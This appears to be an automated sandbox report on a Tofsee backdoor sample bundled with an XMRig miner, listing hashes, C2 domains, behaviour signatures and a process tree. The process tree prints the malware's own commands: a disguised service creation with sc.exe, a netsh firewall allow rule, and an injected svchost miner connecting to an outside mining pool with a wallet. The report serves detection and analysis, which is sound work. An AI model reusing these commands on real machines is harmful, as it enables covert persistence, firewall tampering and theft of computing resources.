Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-02-2023 01:39

General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    554879592dac3efc1711fab6d3af54ea

  • SHA1

    e26c2828e08ac6f03f3061bdb22505bbcb41c99d

  • SHA256

    cf08cb921f0bfdf2876df5f4691b06233515e150be0456b7d3ee5dee5e9d55e4

  • SHA512

    f05f5d6fa132cc0180d3ee35d77ff1671c1ffde11b084fb9fa47592f7a20fe7c2b9fea2775286027b4c76bf4473e992c274743000f622b1b06f57eb9d5783151

  • SSDEEP

    6144:nW/LvlQkaDpjZ+mg5exp7sCkuQj9+Rrga:W/LS3Dpd+mp5klj2U

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pbpofitk\
      2⤵
        PID:216
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dtmkhqxw.exe" C:\Windows\SysWOW64\pbpofitk\
        2⤵
          PID:1880
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pbpofitk binPath= "C:\Windows\SysWOW64\pbpofitk\dtmkhqxw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pbpofitk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:424
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pbpofitk
          2⤵
          • Launches sc.exe
          PID:440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4320
      • C:\Windows\SysWOW64\pbpofitk\dtmkhqxw.exe
        C:\Windows\SysWOW64\pbpofitk\dtmkhqxw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3108
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4748

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dtmkhqxw.exe

        Filesize

        12.4MB

        MD5

        0cd6ab1676b89642fae3c2973c9f8df0

        SHA1

        2b049d08f6fbcaa281ae97c382a6750d36841a72

        SHA256

        2ac40f23c7fd05e9acda55c83d8237f973c10872ae092e5ecc98e8faa406b474

        SHA512

        22ab02300e6208d8203a6a3b82d820673975972d8b38c686f8c4587bc2612775d32db1e1dc0d1a758402f62872a95b5803ce2c7fedff2003ae9ea33f63786616

      • C:\Windows\SysWOW64\pbpofitk\dtmkhqxw.exe

        Filesize

        12.4MB

        MD5

        0cd6ab1676b89642fae3c2973c9f8df0

        SHA1

        2b049d08f6fbcaa281ae97c382a6750d36841a72

        SHA256

        2ac40f23c7fd05e9acda55c83d8237f973c10872ae092e5ecc98e8faa406b474

        SHA512

        22ab02300e6208d8203a6a3b82d820673975972d8b38c686f8c4587bc2612775d32db1e1dc0d1a758402f62872a95b5803ce2c7fedff2003ae9ea33f63786616

      • memory/216-135-0x0000000000000000-mapping.dmp

      • memory/424-139-0x0000000000000000-mapping.dmp

      • memory/440-140-0x0000000000000000-mapping.dmp

      • memory/848-144-0x0000000000400000-0x00000000004C7000-memory.dmp

        Filesize

        796KB

      • memory/848-133-0x0000000002200000-0x0000000002213000-memory.dmp

        Filesize

        76KB

      • memory/848-134-0x0000000000400000-0x00000000004C7000-memory.dmp

        Filesize

        796KB

      • memory/848-143-0x00000000004FF000-0x0000000000515000-memory.dmp

        Filesize

        88KB

      • memory/848-132-0x00000000004FF000-0x0000000000515000-memory.dmp

        Filesize

        88KB

      • memory/1880-136-0x0000000000000000-mapping.dmp

      • memory/1940-138-0x0000000000000000-mapping.dmp

      • memory/3108-145-0x0000000000000000-mapping.dmp

      • memory/3108-162-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

        Filesize

        20KB

      • memory/3108-168-0x0000000002BD0000-0x0000000002BD7000-memory.dmp

        Filesize

        28KB

      • memory/3108-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

        Filesize

        4.0MB

      • memory/3108-146-0x0000000000A20000-0x0000000000A35000-memory.dmp

        Filesize

        84KB

      • memory/3108-151-0x0000000000A20000-0x0000000000A35000-memory.dmp

        Filesize

        84KB

      • memory/3108-152-0x0000000000A20000-0x0000000000A35000-memory.dmp

        Filesize

        84KB

      • memory/3108-153-0x0000000002600000-0x000000000280F000-memory.dmp

        Filesize

        2.1MB

      • memory/3108-156-0x0000000000BF0000-0x0000000000BF6000-memory.dmp

        Filesize

        24KB

      • memory/3108-159-0x0000000001DA0000-0x0000000001DB0000-memory.dmp

        Filesize

        64KB

      • memory/4320-142-0x0000000000000000-mapping.dmp

      • memory/4708-148-0x00000000007BA000-0x00000000007CF000-memory.dmp

        Filesize

        84KB

      • memory/4708-150-0x0000000000400000-0x00000000004C7000-memory.dmp

        Filesize

        796KB

      • memory/4748-172-0x0000000000E00000-0x0000000000EF1000-memory.dmp

        Filesize

        964KB

      • memory/4748-171-0x0000000000000000-mapping.dmp

      • memory/4748-177-0x0000000000E00000-0x0000000000EF1000-memory.dmp

        Filesize

        964KB